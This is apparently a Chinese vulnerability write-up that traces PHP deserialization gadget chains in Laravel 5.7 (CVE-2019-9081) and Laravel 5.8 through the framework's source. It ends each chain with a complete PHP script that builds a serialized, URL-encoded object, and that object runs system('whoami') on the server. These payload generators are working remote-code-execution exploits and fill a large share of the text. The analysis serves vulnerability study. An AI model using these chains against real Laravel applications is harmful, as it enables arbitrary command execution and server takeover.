laravel反序列化漏洞分析复现

laravel5.7(CVE-2019-9081)

漏洞分析

漏洞起始点位于vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php中 PendingCommand类的__destruct方法

图片

在220行调用了run方法,跟进该方法

图片

首先代码段执行到 $this->mockConsoleOutput(); 跟进去看一下

图片

我们的目的是走出 mockConsoleOutput函数,不影响正常执行代码即可,那么需要继续跟进162行的createABufferedOutputMock函数

图片

我们需要正常执行195行的foreach函数,在这里$this->test我们可以控制,我们需要找到一个存在 expectedOutput属性的类进行进一步的操作,但是这样的类虽然存在,但是无法被框架自动加载,在这里我们可以使用__get魔术方法,这里选择vendor\laravel\framework\src\Illuminate\Auth\GenericUser.php中GenericUser类的__get方法

图片

这里 $this->attributes我们可以控制,这样我们可以控制$this->test为GenericUser的一个对象,进而可以走过该处foreach的代码段,接着回到mockConsoleOutput方法,在165行同样存在着类似的foreach代码段,我们可以使用相同的方法正常走过该段代码,接着回到run方法,来到该段代码

1
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 

调试发现Kernel::class的值为Illuminate\Contracts\Console\Kernel
图片

继续跟踪调试,来到container类中的resolve方法,存在着下面的代码

图片

跟进 getConcrete,存在如下代码段

图片

在这里我们可以寻找一个继承了Container的类来控制 $this->bindings的值,这里选择了vendor\laravel\framework\src\Illuminate\Foundation\Application.php中的Application类,可以控制$this->bindings为如下值

1
array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application')) 

回到 resolve方法,会走到如下代码段
图片

跟进isBuildable

图片

图片

很显然会走进上面的else分支调用make方法,跟进后发现代码段其实是重新做了一次上面的操作,重新调用了 getConcrete方法,最后进行Illuminate\Foundation\Application的build操作,最后

$this->app[Kernel::class]返回的是Application的一个对象,接着会调用该对象的call方法,但是该对象中不存在call方法,进而会调用其父类Container中的call方法

图片

跟进 BoundMethod::call

图片

该处调用了 call_user_func_array,我们知道该方法是可以执行代码的,调试后发现该处可以控制为如下的利用代码

1
call_user_func_array('system',array('whoami')) 

payload编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
namespace Illuminate\Foundation\Testing;
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand{
public $test;
    protected $app;
    protected $command;
    protected $parameters;
    public function __construct()
    {
        $this->app = new Application();
        $this->test = new GenericUser();
        $this->command = 'system';
        $this->parameters = array('whoami');
    }
}
namespace Illuminate\Auth;
class GenericUser{
protected $attributes;
public function __construct()
    {
        $this->attributes = array('expectedQuestions'=>array('a'=>'b'),'expectedOutput'=>array('c'=>'d'));
    }
}
namespace Illuminate\Foundation;
class Application{
protected $bindings = [];
public function __construct()
    {
        $this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'),'Illuminate\Foundation\Application'=>array('concrete'=>'Illuminate\Foundation\Application'));
    }
}
use Illuminate\Foundation\Testing\PendingCommand;
$a = new PendingCommand();
echo urlencode(serialize($a));

laravel5.8(一)

漏洞分析

起始点位于、vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php中的__destruct方法

图片

该处的$this->events可控,我们可以利用该处调用位于 vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php中的dispatch方法

图片

如果满足了if条件,代码会调用 dispatchToQueue方法,跟进该方法

图片

在150行处调用了 call_user_func,并且两个参数也是可控的,在该处我们可以达到执行命令的目的,那么回过来看一下如何满足前面的if条件

$this->queueResolver需要存在,并且在call_user_func中作为第一个参数,我们直接控制要执行的函数名即可,接着是$this->commandShouldBeQueued($command),跟进去看一下

图片

ShouldQueue是一个接口,我们需要将$command设置为一个ShouldQueue的实现类,这里选用vendor\laravel\framework\src\Illuminate\Broadcasting\BroadcastEvent.php中的类,同时为了满足call_user_func的第二个参数,我们需要在该类中设置一个connection属性。来作为调用函数的参数

最后来梳理下利用链

1
2
3
(PendingBroadcast)->__distruct() 
(Dispatcher)->dispatch()
(Dispatcher)->dispatchToQueue()->call_user_func()

payload编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
namespace Illuminate\Broadcasting;
use Illuminate\Broadcasting\BroadcastEvent;
use Illuminate\Bus\Dispatcher;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct()
    {
        $this->event = new BroadcastEvent();
        $this->events = new Dispatcher();
    }
}
namespace Illuminate\Bus;
class Dispatcher{
protected $queueResolver;
public function __construct()
    {
        $this->queueResolver = 'system';
    }
}
namespace Illuminate\Broadcasting;
class BroadcastEvent{
public $connection;
public function __construct()
    {
        $this->connection = 'whoami';
    }
}
use Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(serialize($a));

图片